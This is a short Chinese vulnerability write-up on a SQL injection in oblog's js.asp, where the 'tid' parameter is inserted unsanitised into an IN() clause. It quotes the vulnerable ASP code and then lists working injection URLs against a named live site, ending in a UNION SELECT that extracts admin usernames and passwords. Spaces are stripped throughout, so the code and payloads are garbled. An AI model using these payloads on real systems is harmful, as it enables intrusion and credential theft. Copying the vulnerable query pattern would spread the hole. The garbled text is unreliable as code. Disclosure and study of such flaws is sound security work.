来源：DeepenStudy 漏洞文件：js.asp <% Dimoblog setoblog=newclass_sys oblog.autoupdate=False oblog.start dimjs_blogurl,n js_blogurl=Trim(oblog.CacheConfig(3)) n=CInt(Request(”n”)) ifn=0thenn=1 selectcaseCInt(Request(”j”)) case1 calltongji() case2 calltopuser() case3 calladduser() case4 calllistclass() case5 callshowusertype() case6 calllistbestblog() case7 callshowlogin() case8 callshowplace() case9 callshowphoto() case10 callshowblogstars() Case11 Callshow_hotblog() Case12 Callshow_teams() Case13 Callshow_posts() Case14 Callshow_hottag() case0 callshowlog() endselect ****************省略部分代码****************** Subshow_posts() Dimteamid,postnum,l,u,t teamid=Request(”tid”) postnum=n l=CInt(Request(”l”)) u=CInt(Request(”u”)) t=CInt(Request(”t”)) Dimrs,sql,sRet,sAddon Sql=”selectTop”&postnum&”teamid,postid,topic,addtime,author,useridFromoblog_teampostWhereidepth=0andisdel=0” Ifteamid<>“”Andteamid<>“0″Then teamid=Replace(teamid,”|”,”,”) Sql=Sql&”AndteamidIn(”&teamid&“)” EndIf Sql=Sql&”orderbypostidDesc” Setrs=oblog.Execute(Sql) sRet=” ” DoWhileNotrs.Eof sAddon=”\” *sRet=sRet&“”&oblog.Filt_html(Left(rs(2),l))&“” Ifu=1ThensAddon=rs(4) ift=1Then IfsAddon<>“”ThensAddon=sAddon&“,” sAddon=sAddon&rs(3) EndIf IfsAddon<>“”ThensAddon=”(”&sAddon&“)” sRet=sRet&sAddon&“ ” rs.Movenext Loop Setrs=Nothing sRet=sRet&“ ” Response.writeoblog.htm2js(sRet,True) EndSub 调用show_posts()过程必须要符合上面的参数n=1,j=13 (”&teamid&“) http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1 http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1)and1=1and(1=1返回正常 http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1)and1=1and(1=2返回异常 猜管理员表名 http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1)and查询语句and(1=1 Sql=”selectTop”&postnum&”teamid,postid,topic,addtime,author,useridFromoblog_teampostWhereidepth=0andisdel=0” http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1)and1=2unionselect1,2,3,4,5,6fromoblog_adminwhereid=(1 document.write(\’ * ‘); gid=1跟pid=2里的1,2就是了直接替换里面的1,2为username,password http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1)and1=2unionselectusername,password,3,4,5,6fromoblog_adminwhereid=(1
